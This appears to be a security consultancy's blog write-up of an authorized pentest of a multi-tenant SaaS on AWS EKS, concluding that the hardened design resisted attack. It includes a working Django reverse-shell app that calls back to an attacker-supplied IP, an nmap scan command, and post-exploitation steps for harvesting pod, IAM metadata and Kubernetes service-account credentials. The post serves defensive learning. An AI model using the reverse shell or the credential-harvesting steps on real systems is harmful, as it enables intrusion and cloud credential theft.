Awesome. Security. Advice.
.png)
Tales from a recent pentest of a product hosted on the AWS cloud backed by Kubernetes (EKS) and a whole lot of secure design goodness that withstood our attack attempts.
Our security teams typically test all kinds of applications, infrastructure, cloud services and API setups. We recently engaged with a customer who wanted us to perform a security review of a product deployed on AWS, with an AWS EKS backend. The product had a well-architected design and took security into consideration for its various features.
The product was designed to provide customers with an isolated environment so that developers could deploy applications from their GitHub accounts. Each customer who onboarded the product was assigned their own tenant. Soft multi-tenancy was used in the form of unique Kubernetes namespaces based on the GitHub organization name.
Our objective was to identify if there was any way to compromise the security of the product, the data of customers or gain access to the cloud provider environment where the product was hosted. Barring a few web application weaknesses, we were unable to find weaknesses that could be used to exploit the system and fulfil our objectives.
Here’s a rundown of our approach, various attacks we tried and the design considerations that worked against our attacker approach.
The product is designed to be a SaaS that allows developers to import code from GitHub repositories and deploy them on the Amazon EKS infrastructure. The Amazon EKS infrastructure is owned by our customer. The code deployment is done transparently to users of the system. The product’s front-end allows for customization of the imported environment and after a deployment is completed, presents a URL to which users can browse to now access their deployed code in an exclusive isolated environment.
As security consultants on this project, we wanted to first identify potential vantage points for attackers. Once we had a fair understanding of the product and its architecture, we created a threat map of various locations the attackers could come from.
Here’s what the attacker vantage points looked like
For each of these vantage points, the attack surface was determined and a security evaluation of configuration, access, black box assessment and design review was performed.
We excluded a rogue product administrator as a threat, based on business requirements as any means of lowering attacker impact by an authorized rogue administrator from within AWS or EKS, would be based on process as technical limitations would do little to prevent an attack originating from within the infrastructure by an AWS or Kubernetes administrator.
Across the four vantage points that we identified; our approach was to ensure coverage by performing various configuration reviews and identify vulnerabilities that could be exploited to gain additional privileged access or access to data across the isolation boundaries that the product designers had created.
Here’s what we looked for and proceeded with our testing.
We started with the most common “attack surface” on the Internet (or any network connected system for that matter). Identification of services to which you can connect at the TCP/IP layer allows for enumeration of service versions and potentially anonymous access.
A service can have an application layer authorization gate but if the underlying service version is vulnerable then the application layer could potentially be bypassed completely. A bad example would be a web application with an authentication page which you cannot bypass, but the underlying web server having a potential RCE that can be triggered by a large string sent using a PUT HTTP request.
We ran nmap scans to perform port and service discovery. The DNS lookup on the IP showed AWS Load Balancer usage and no other ports apart from the web app on TCP 443. Software and version fingerprinting did not yield any results.
I typically use the following to perform open port discovery and version identification on remote targets
nmap -Pn -p- -g80 -sV -A -open --max-retries 4 <target> -oA scan-output-dd-mm-yyyy
As the port scan showed only port 443 open and no interesting usable information from the service scans, we switched our attention to the web application.
From a web application security point of view, identifying application security issues that could break the security promise that the product provided was our next step.
Generally, for apps like these it is important to identify how user sessions were created, managed and destroyed and how the application enforces tenant isolation, if any. These, apart from our comprehensive set of application security checks, were used to identify any weaknesses in the web app.
As the application used GitHub SSO, there weren’t too many quirks we noticed. However, due to the way the authentication was managed by what we suspected was some sort of middleware, it was possible to make requests to fetch GitHub information, including info about private repositories, user information etc. and other app specific attributes, of other tenants. We were also able to identify other tenant identifiers that could then be used in other Insecure Direct Object References to retrieve additional information.
This was the most prominent attack surface that the creators of the product were worried about. The question posed was, what could a malicious user see and access if they were to deploy an application that would give them remote code execution capabilities. Would the user be able to bypass the tenant isolation placed on the application? Could other services leak information once the attacker was in the pod?
To test this, we wrote a simple Django app, that when deployed would give us access to a reverse shell in the execution environment where the app is running.
__________________________________________________________________________________________
from distutils.log import error
import sys, socket,os,pty
from django.conf import settings
from django.urls import include, re_path
from django.http import HttpResponse
settings.configure(
DEBUG=True,
ROOT_URLCONF=__name__
)
def index(request):
if ('ip' in request.GET):
ip = request.GET['ip']
e = connectshell(ip) return HttpResponse("Exception:" + str(e))
else:
return HttpResponse('Hello World!')
def connectshell(ip):
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,4242))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")
s.shutdown(socket.SHUT_RDWR)
s.close()
except Exception as e:
return str(e)
urlpatterns = (
re_path(r'^$', index),
)
if __name__ == "__main__":
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
view rawcognito-test-index-page.html hosted with ❤ by GitHub
________________________________________________________________________________________________
You can download the source and Dockerfile here — https://github.com/appsecco/django-rev-shell
With this shell access, we set about exploring the environment. Here’s a list of checks that you can follow, if you find yourself testing something similar.
1. What is in the pod environment? This can be obtained using the `env` command and usually yields app secrets and IP of the Kubernetes API server, location of the EKS web identity token, potential IP subnets, and location of other API services within EKS.
2. What other IP addresses and ports are accessible? We installed nmap on the container using apt-get and ran a full scan on the IP subnets that we identified from environment variables and the local routing table.
3. Can the Kubernetes API server be accessed anonymously or by impersonating another user using the Impersonate-User HTTP headers?
4. What privileges does the AWS Web Identity token have? This is in a file at /var/run/secrets/eks.amazonaws.com/serviceaccount/token and can be used to generate temporary session tokens using the following command
aws sts assume-role-with-web-identity --role-arn $AWS_ROLE_ARN --role-session-name tmpsession --web-identity-token file:///location-of-token-file --duration-seconds 3000
5. What privileges does the IAM role attached to the EKS nodes have? These credentials can be generated using the Instance Metadata endpoint within the container. As the container and node share the same network stack, it is possible to reach http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name. These temporary credentials can then be used to access services across the AWS cloud, if the IAM role is overly privileged.
6. What privileges does the Kubernetes service token have? A command alias was created using kubectl and the service account token found at /run/secrets/kubernetes.io/serviceaccount/token
alias k="kubectl --token=`cat /run/secrets/kubernetes.io/serviceaccount/token` --certificate-authority=/run/secrets/kubernetes.io/serviceaccount/ca.crt --server https://$KUBERNETES_SERVICE_HOST"k get pods --all-namespaces
7. What volume mounts exist within the container? Can any of them be used to access the underlying host?
8. Based on the access any of the tokens would return, additional information can be gathered or access to data can be achieved.
AWS VPC that hosts the EKS nodes
To mimic an attacker with access to another host in the same VPC as the EKS nodes, SSH access was provided to an Ubuntu machine within the same VPC.
Port scans yielded no data as the security groups for the EKS nodes were well configured.
Although our attack strategy of identifying attacker vantage points and related exposed attack surfaces was robust, various protection mechanisms, principles of least privileges and secure configuration prevented any major exploitable weakness from manifesting itself.
Overall, a defensive approach to the design, principle of least privileges and ensuring secure default configurations were used, led to a hardened environment that was the source of all our attacker frustration 😊
A SaaS product designed to run user provided code in namespace isolated containers on AWS EKS was security tested. Apart from a few web app related vulnerabilities, no major exploitable security weakness was discovered. The hardened configurations, minimum privileges of tokens and credentials, proper authentication and authorization controls within EKS and hardened security groups created a secure environment.
This was an example of a well-designed, secure product and we had fun attempting to break its security, failing and learning from the assessment.
Until next time, happy hacking!!
Hate filling forms? We're quick to respond to emails and calls too.
